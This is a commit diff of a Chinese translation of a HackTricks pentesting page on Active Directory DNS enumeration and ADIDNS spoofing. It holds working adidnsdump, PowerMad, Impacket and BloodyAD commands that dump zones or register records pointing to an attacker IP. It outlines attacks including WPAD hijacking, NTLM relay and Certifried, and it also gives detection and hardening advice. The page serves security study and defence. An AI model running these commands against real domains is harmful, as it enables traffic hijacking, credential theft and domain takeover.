mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/ad-dns-r
This commit is contained in:
parent
3b0fbb988d
commit
b466649201
@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
默认情况下,**Active Directory 中的任何用户**都可以**枚举域或森林 DNS 区域中的所有 DNS 记录**,类似于区域传输(用户可以列出 AD 环境中 DNS 区域的子对象)。
|
默认情况下,**任何用户**都可以在 Active Directory 中**枚举所有 DNS 记录**,类似于区域传输(用户可以列出 AD 环境中 DNS 区域的子对象)。
|
||||||
|
|
||||||
工具 [**adidnsdump**](https://github.com/dirkjanm/adidnsdump) 使得**枚举**和**导出**区域中的**所有 DNS 记录**成为可能,以便于内部网络的侦查。
|
工具 [**adidnsdump**](https://github.com/dirkjanm/adidnsdump) 使得**枚举**和**导出**区域中的**所有 DNS 记录**成为可能,以便于内部网络的侦查。
|
||||||
```bash
|
```bash
|
||||||
@ -10,9 +10,70 @@ git clone https://github.com/dirkjanm/adidnsdump
|
|||||||
cd adidnsdump
|
cd adidnsdump
|
||||||
pip install .
|
pip install .
|
||||||
|
|
||||||
|
# Enumerate the default zone and resolve the "hidden" records
|
||||||
adidnsdump -u domain_name\\username ldap://10.10.10.10 -r
|
adidnsdump -u domain_name\\username ldap://10.10.10.10 -r
|
||||||
|
|
||||||
|
# Quickly list every zone (DomainDnsZones, ForestDnsZones, legacy zones,…)
|
||||||
|
adidnsdump -u domain_name\\username ldap://10.10.10.10 --print-zones
|
||||||
|
|
||||||
|
# Dump a specific zone (e.g. ForestDnsZones)
|
||||||
|
adidnsdump -u domain_name\\username ldap://10.10.10.10 --zone _msdcs.domain.local -r
|
||||||
|
|
||||||
cat records.csv
|
cat records.csv
|
||||||
```
|
```
|
||||||
|
> adidnsdump v1.4.0 (2025年4月) 添加了 JSON/可grep输出 (`--json`)、多线程 DNS 解析以及在绑定到 LDAPS 时对 TLS 1.2/1.3 的支持
|
||||||
|
|
||||||
有关更多信息,请阅读 [https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/)
|
有关更多信息,请阅读 [https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 创建/修改记录 (ADIDNS 欺骗)
|
||||||
|
|
||||||
|
由于 **Authenticated Users** 组默认在区域 DACL 上具有 **Create Child** 权限,任何域帐户(或计算机帐户)都可以注册额外的记录。这可以用于流量劫持、NTLM 继电器强迫甚至完全域妥协。
|
||||||
|
|
||||||
|
### PowerMad / Invoke-DNSUpdate (PowerShell)
|
||||||
|
```powershell
|
||||||
|
Import-Module .\Powermad.ps1
|
||||||
|
|
||||||
|
# Add A record evil.domain.local → attacker IP
|
||||||
|
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Verbose
|
||||||
|
|
||||||
|
# Delete it when done
|
||||||
|
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Delete -Verbose
|
||||||
|
```
|
||||||
|
### Impacket – dnsupdate.py (Python)
|
||||||
|
```bash
|
||||||
|
# add/replace an A record via secure dynamic-update
|
||||||
|
python3 dnsupdate.py -u 'DOMAIN/user:Passw0rd!' -dc-ip 10.10.10.10 -action add -record evil.domain.local -type A -data 10.10.14.37
|
||||||
|
```
|
||||||
|
*(dnsupdate.py 随 Impacket ≥0.12.0 一起提供)*
|
||||||
|
|
||||||
|
### BloodyAD
|
||||||
|
```bash
|
||||||
|
bloodyAD -u DOMAIN\\user -p 'Passw0rd!' --host 10.10.10.10 dns add A evil 10.10.14.37
|
||||||
|
```
|
||||||
|
---
|
||||||
|
|
||||||
|
## 常见攻击原语
|
||||||
|
|
||||||
|
1. **通配符记录** – `*.<zone>` 将 AD DNS 服务器变成类似于 LLMNR/NBNS 欺骗的企业范围响应器。可以被滥用来捕获 NTLM 哈希或将其中继到 LDAP/SMB。 (需要禁用 WINS 查找。)
|
||||||
|
2. **WPAD 劫持** – 添加 `wpad`(或指向攻击者主机的 **NS** 记录以绕过全球查询阻止列表)并透明地代理出站 HTTP 请求以收集凭据。 微软修补了通配符/DNAME 绕过(CVE-2018-8320),但 **NS 记录仍然有效**。
|
||||||
|
3. **过期条目接管** – 声称之前属于工作站的 IP 地址,相关的 DNS 条目仍将解析,从而启用基于资源的受限委派或 Shadow-Credentials 攻击,而无需触碰 DNS。
|
||||||
|
4. **DHCP → DNS 欺骗** – 在默认的 Windows DHCP+DNS 部署中,同一子网的未经身份验证的攻击者可以通过发送伪造的 DHCP 请求覆盖任何现有的 A 记录(包括域控制器),这些请求触发动态 DNS 更新(Akamai “DDSpoof”,2023)。 这使得在 Kerberos/LDAP 上进行中间人攻击,并可能导致完全的域接管。
|
||||||
|
5. **Certifried (CVE-2022-26923)** – 更改您控制的计算机帐户的 `dNSHostName`,注册匹配的 A 记录,然后请求该名称的证书以冒充 DC。 工具如 **Certipy** 或 **BloodyAD** 完全自动化该流程。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 检测与加固
|
||||||
|
|
||||||
|
* 拒绝 **Authenticated Users** 在敏感区域的 *创建所有子对象* 权限,并将动态更新委派给专用帐户用于 DHCP。
|
||||||
|
* 如果需要动态更新,将区域设置为 **仅安全**,并在 DHCP 中启用 **名称保护**,以便只有拥有者计算机对象可以覆盖其自己的记录。
|
||||||
|
* 监控 DNS 服务器事件 ID 257/252(动态更新),770(区域传输)和 LDAP 写入到 `CN=MicrosoftDNS,DC=DomainDnsZones`。
|
||||||
|
* 用故意良性的记录或通过全球查询阻止列表阻止危险名称(`wpad`,`isatap`,`*`)。
|
||||||
|
* 保持 DNS 服务器打补丁 – 例如,RCE 漏洞 CVE-2024-26224 和 CVE-2024-26231 达到 **CVSS 9.8**,并且可以远程利用针对域控制器。
|
||||||
|
|
||||||
|
## 参考文献
|
||||||
|
|
||||||
|
* Kevin Robertson – “ADIDNS Revisited – WPAD, GQBL and More” (2018, 仍然是通配符/WPAD 攻击的事实参考)
|
||||||
|
* Akamai – “通过滥用 DHCP DNS 动态更新来欺骗 DNS 记录” (2023年12月)
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user